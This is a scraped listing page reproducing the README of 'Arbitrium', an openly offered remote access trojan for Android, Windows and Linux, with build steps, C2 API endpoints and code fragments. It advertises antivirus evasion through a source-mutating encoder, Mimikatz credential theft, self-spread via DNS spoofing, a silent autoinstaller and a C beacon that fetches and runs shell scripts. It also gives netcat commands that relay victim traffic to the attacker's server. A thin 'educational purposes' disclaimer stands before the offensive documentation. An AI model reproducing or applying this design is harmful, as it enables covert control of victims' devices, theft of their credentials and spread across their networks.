All Projects → BenChaliah → Arbitrium Rat

BenChaliah / Arbitrium Rat

Licence: apache-2.0
Arbitrium is a cross-platform, fully undetectable remote access trojan, to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding rules

Programming Languages

python
139335 projects - #7 most used programming language
powershell
5483 projects

Projects that are alternatives of or similar to Arbitrium Rat

Ahri
Ahri is an intranet sharing tool. Like VPN
Stars: ✭ 205 (-78.14%)
Mutual labels:  proxy, firewall
Macos Fortress
Firewall and Privatizing Proxy for Trackers, Attackers, Malware, Adware, and Spammers with Anti-Virus On-Demand and On-Access Scanning (PF, squid, privoxy, hphosts, dshield, emergingthreats, hostsfile, PAC file, clamav)
Stars: ✭ 307 (-67.27%)
Mutual labels:  proxy, firewall
Frpc Android
Android,安卓版frpc,一个快速反向代理,可帮助您将NAT或防火墙后面的本地服务器暴露给Internet。
Stars: ✭ 205 (-78.14%)
Mutual labels:  proxy, firewall
Trojan R
轻量高效的 Trojan 代理,使用 Rust 实现
Stars: ✭ 174 (-81.45%)
Mutual labels:  proxy, trojan
New Pac
翻墙-科学上网、免费翻墙、免费科学上网、免费自由上网、fanqiang、翻墙梯子、免费软件/方法,一键翻墙浏览器,免费shadowsocks/ss/ssr/v2ray/goflyway账号/节点分享,vps一键搭建翻墙服务器脚本/教程,电脑、手机、iOS、安卓、windows、Mac、Linux、路由器翻墙
Stars: ✭ 31,869 (+3297.55%)
Mutual labels:  proxy, trojan
Awesome Vpn
Free VPN/proxy,server,account,link list.,实时更新免费的代理,科学上网,翻墙,梯子,服务器,客户端,账号
Stars: ✭ 2,691 (+186.89%)
Mutual labels:  proxy, trojan
Winxray
Xray / V2Ray( vmess/vless )、Shadowsocks、Trojan 通用客户端(Windows),可自动维持稳定上网 - 代理服务器异常自动切换,并提供一键部署代理服务端工具,使用 aardio 编写,绿色便携版免安装仅740KB、不需要.Net等外部运行库。
Stars: ✭ 241 (-74.31%)
Mutual labels:  proxy, trojan
Frp
A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet.
Stars: ✭ 51,746 (+5416.63%)
Mutual labels:  proxy, firewall
Lanproxy
lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,支持tcp流量转发,可支持任何tcp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面、http代理、https代理、socks5代理...)。技术交流QQ群 678776401
Stars: ✭ 4,784 (+410.02%)
Mutual labels:  proxy, firewall
Fanqiang
翻墙-科学上网
Stars: ✭ 23,428 (+2397.65%)
Mutual labels:  proxy, trojan
Pichi
Flexible Rule-Based Proxy
Stars: ✭ 149 (-84.12%)
Mutual labels:  proxy, trojan
Awesome Anti Censorship
curated list of open-source anti-censorship tools
Stars: ✭ 521 (-44.46%)
Mutual labels:  proxy, firewall
Gitwebhookproxy
A proxy to let webhooks reach running services behind a firewall – [✩Star] if you're using it!
Stars: ✭ 123 (-86.89%)
Mutual labels:  proxy, firewall
Net Shield
An Easy and Simple Anti-DDoS solution for VPS,Dedicated Servers and IoT devices - Beta
Stars: ✭ 202 (-78.46%)
Mutual labels:  proxy, firewall
Core
OPNsense GUI, API and systems backend
Stars: ✭ 1,827 (+94.78%)
Mutual labels:  proxy, firewall
Proxysu
Xray,V2ray,Trojan,NaiveProxy, Trojan-Go, ShadowsocksR(SSR),Shadowsocks-libev及相关插件,MTProto+TLS 一键安装工具,windows下用(一键科学上网)
Stars: ✭ 3,309 (+252.77%)
Mutual labels:  proxy, trojan
Tor Android
Tor binary and library for Android
Stars: ✭ 90 (-90.41%)
Mutual labels:  proxy, firewall
Delete
(迫于压力,本项目停止维护,请尽快fork代码。1月1日之后删除项目)[免翻墙工具]A free and open-source youtube video proxy script [Written in PHP]
Stars: ✭ 1,316 (+40.3%)
Mutual labels:  proxy, firewall
V2ray Rules Dat
🦄 🎃 👻 V2Ray 路由规则文件加强版,可代替 V2Ray 官方 geoip.dat 和 geosite.dat,兼容 Shadowsocks-windows、Xray-core、Trojan-Go 和 leaf。Enhanced edition of V2Ray rules dat files, compatible with Xray-core, Shadowsocks-windows, Trojan-Go and leaf.
Stars: ✭ 6,550 (+598.29%)
Mutual labels:  proxy, trojan
Dosvpn
🚀 极速、简单、开源的 VPN 访问外网学习先进科学技术的必备工具
Stars: ✭ 485 (-48.29%)
Mutual labels:  proxy, trojan

Disclaimer

This tool was made for educational purposes only. I urge anyone who would use this tool to only use it on targets he/she is authorized to access as a remote control tool. I hold no responsibility if one used it for any unlawful activity.

About:

Arbitrium is a cross-platform remote access trojan (RAT), Fully UnDetectable (FUD), It allows you to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding. It gives access to the local networks, you can use the targets as a HTTP proxy and access Router, discover local IPs and scan their ports. Includes modules like Mimikatz, new modules can easily be added. In addition, if Arbitrium is used with a DNS spoofing software is can spread autonomously between devices (#AutoSpread). Arbitrium is a multiple parts project, the parts were built using Java, JS, C, Python, Cordova and VueJS.

ℹ️ default login: admin/passwd

CLI-Demo: https://streamable.com/fptp0l

Demo: https://streamable.com/ov78ki

Demo video

Features:

  • [x] FUD/Encoders

With few clicks the CLI will generate an undetectable ready-to-use client.

  • Abstract synthax encoder: at each generation this encoder will create a client with a different size and a different source code but without impacting the functionnality of the client, which will make static analysis much harder for AVs, as soon an existing client become detectable, all you have to do is generate a new client which will hold a new source code. This encoder is still experimental and there is still a lot to do, but the tests done showed very promising results.

  • [x] Firewall

Arbitrium doesn't require adding an exception to the firewall, or a port forwarding rule. The server is an API with endpoints that receives tasks for a specific target and others that the trojan periodically request to get the new instructions, the instructions can be a JavaScript file (the Android app is made using Cordova) or a Shell file to run in the terminal/CMD. Once the server receives a task for a device, the former schedule the task then it opens a child process where it waits for the trojan's response by listening to a dedicated ephemeral port. Therefore, the trojan doesn't need to listen to any port.

  • [x] Battery optimization / StealthMode

Unlike with Stock Android, customizations like MIUI by Xiaomi, EMUI by Huawei or Samsung's Android Pie ignore the permissions/exceptions given to an app by the user. So if you try to run an Android's trojan in the background, the moment the app start running frequent or heavy (in some cases even lightweight) tasks (ex: sending http requests periodically) it will be killed no matter what permissions the user grants, ths OS completely ignores the current settings, dontkillmyapp.com is an known website dedicated for this particular issue.

The aforementioned issue was quite annoying while working on this project, after awhile I found that building a lightweight binary that keeps running the assigned tasks in the background while the MainActivity stand still just after launching the binary apears to bypass most the restrictions and actually even improve the performance of the App.

MainActivity receives a JS file from the server and uses ThreadPoolExecutor to initiate the binary without hanging for it to exit (More on this StealthMode/BatteryBypass).

  • [x] Web interface

There is also a control panel, it's not a requirement but an extension, it's a simple VueJS webapp, a UI you can use to control the targets instead of directely sending requests to the API. The webapp is available here: Arbitrium WebApp

Requirements

  1. Android's client
Java ver ...
Cordova
Android SDK & NDK
  1. Windows/Linux client
Python3.6 (or newer)
PyInquirer
Winrar (Windows only)

Build

⚠️ use setAPI_FQDN.sh first to set the server domain/IP in all files

Clone repo:

git clone https://github.com/BenChaliah/Arbitrium-RAT.git --recursive

  1. Android
$ cd ArbitriumClients/AndroidApp/ClientApp/
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build

The binaries inside /libs are stripped, so it recommended to use these if you're not debuging.

  1. Windows
$ cd ArbitriumClients\WindowsApp
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe  

Components

  1. Server API

⚠️ The binaries built for Android should be put inside /assets (rename them to binary_{cpuabi}) and the APK will download them, but if you wish to put them inside the APK just make sure to extract them inside the App data folder /data/data/package_name or create a symbolic link inside it window.MyOrangePlugin.exec("/system/bin/ln -s ...

$ pip install flask flask_cors && ./runserver.sh # Python2.7

	├── runserver.sh
	├── main.py
	├── reverse_http.py
	├── initProxy.py
	│
	├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
	│   ├── runFrame_arm64-v8a
	│   ├── toolbox_arm64-v8a
	│   ├── ... (x86, x86_64, armeabi-v7a)
	│
	│
	├── JS_scripts
	│   ├── checkupdate.js
	│   ├── init.js
	│   ├── runshell.js
	│   └── StealthMode.js
	│
	├── misc
	│
	├── modules
	│   ├── discover.py
	│   ├── mimikatz.py
	│   ├── ports.py
	│   └── runCMD.py
	│
	└── threads

Endpoints

⚠️ The response of the API may differ depending on the platform of the device from which the trojan operate. the following part explores mainly the case of Android, because it's the most sophisticated due to the OS's restrictions.

  • [GET] /checkupdate.js

When the client sends its first request to the endpoint /checkupdate.js, the server create a genShell's object, which sets a unique local port for that device self.lport = self.setPort() and a thread id self.threaduid = random.randint in addition to other attributes. Then returns the appropriate JavaScript code (depending on the CPU/ABI) that will contain instructions to download, chmod and execute (main thread, or poolexec) some resources. As for the following requests it returns a JS code that will execute the pending tasks if there are any.

runCMD is a method of genShell that write the shell script we want the trojan to run into a file inside /assets to be downloaded later by the client, then uses netcat to listen for the response and pipe it into a file inside /threads

Example: Let say you want to use the target as a HTTP proxy, the API formulate the request as the following cmd:

echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | {abspath_toolbox/ncat} {API_HOST_IP} {lport} -w 10;\r\n

then save it into assets/runsh_{uid_task}.sh, then depending whether the request came from StealthMode/BatteryBypass or not, /checkupdate.js gets the trojan to download the shell file and run it.

>>> Popen("exec $(nc -l 0.0.0.0 -p {lport} -dN > {task_filename})" shell=True, close_fds=True, ...)
  • [GET] /addtask

Using the appropriate token the admin can get a device to run a command via this endpoint, the server will describe this command as pending which will impact the next response of /checkupdate.js to that device. Then it'll return a random generated id for this task.

  • [GET] /pingtask

The combination of the task id generated by /addtask and the aforementioned thread id threaduid makes the name of the file inside /threads where the output of the command is saved. Once this endpoint is requested it checks whether /threads/{threaduid}x{taskid} exists, if so the server returns the content of the file otherwise it return 0.

  • [GET] /runproxy & /pushproxy

This will run reverse_http.py in a separate screen, then returns a IP:PORT (HTTP proxy), that will allow the admin to pivote HTTP requests through the trojan device. For instance, if the Admin sets these info in the browser settings and try to open router port (Ex: http://192.16...), the browser will open the router web interface as if the admin was a part the target LAN.

  1. Client/Trojan (Android): The app is build using Cordova for its simplicity and support for cross-platform developpement. This app relays of two main parts

    1. netbolt-orange-plugin:

      this is a cordova plugin I made, it contains few functions that we can call from index.html, scripts downloaded via /checkupdate.js mainly use these methods to run the assigned task

         + exec() : execute shell cmd then returns the cmd output, it runs on the UI thread

         + poolexec() : same as 'exec()', but this one uses the ThreadPoolExecutor so the App can run a cmd without blocking the main thread, when the output is ready, it sent via a callback with the exit status

         + download() : this one is for downloading whatever resources the API or the admin may want or need to execute a task

    Example: The trojan at first requests /checkupdate.js, let assumes this is an Android phone and we want to initiate the StealthMode/BatteryBypass to avoid getting killed (Battery optimizations ...), the API then responde with something like:

    function sfunc1(){
        window.MyOrangePlugin.download([{Link for ELF} ...], function(res){
            sfunc2(...);
        });
    }
    function sfunc2(...){
        window.MyOrangePlugin.exec("chmod ... ", function(res){
        	sfunc3(...);
        });
    }
    function sfunc3(...){
        window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){
        	...
        });
    }
    

    The app also uses a slightly customized version of Cordova background mode plugin.

    1. StealthMode:

         + runFrame.c : This is a simple C program that sends HTTP requests every few seconds to the API through a socket, saves the response to a shell file then makes a system call to run it.

         + toolbox.c : This is a standalone netcat

    The resulting binaries are statically linked to ensure stability and path independance. The importance of using runFrame instead of just running a JS loop in index.html doesn't only stop at the Battery issues explained previously but also for performance reasons. The app with this mode uses much less resources and is more reliable.

    The frequency of the requests is by default set at 5s, but it can be manipulated by the API (the server automatically makes runFrame slow down when there are no scheduled cmds by giving it sleep 30 as a response), therefore, when the admin is controling a device or using it as a proxy a number of tasks will be schedules and the delay between each won't be significant, otherwise we don't want the client to keep sending frequent requests which would make it noticeable and resource consuming.

    ⚠️ the API recognize whether the requests are coming from this mode from the User-Agent: JustKidding, so the responses to /checkupdate.js be compatible. Also the HTTP requests are only made while the phone is connected to Wlan, and there are two main reasons for that, the first is data mobile consumption which the OS will stop, the second is the autonomous spread capability (#AutoSpread)

    // void bzero(void *s, size_t n);
    #define bzero(s, n) memset((s), 0, (n))
    ...
    strcat(reque, "&token=updated HTTP/1.1\r\nHost: {API_Host}\r\nUser-Agent: JustKidding\r\nConnection: close\r\n\r\n");
    char *routing = "ip route | grep wlan";
    ...
    while (1){
    	routingSTAT = system(routing);
    	// grep exit status will only equal 0 if a wlan interface was listed
    	if (routingSTAT==0){
    		fd = socket_connect(argv[1], atoi(argv[2])); 
    		write(fd, reque, strlen(reque));
    		bzero(buffer, BUFFER_SIZE);
    		...
    		}
    
  2. Client/Trojan (Windows/Linux): Unlike in the case of android here a simple python script will do. In addition, Windows version is equiped with a VBA script and SFX to make a silent autoinstaller, the trojan will be just a standalone executable that runs in the background after extracting its content inside %TEMP%.

Screenshots

  1. HTTP proxy: proxy.png
  2. Powershell: powershell.png
  3. Port scanner: portscan.png
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].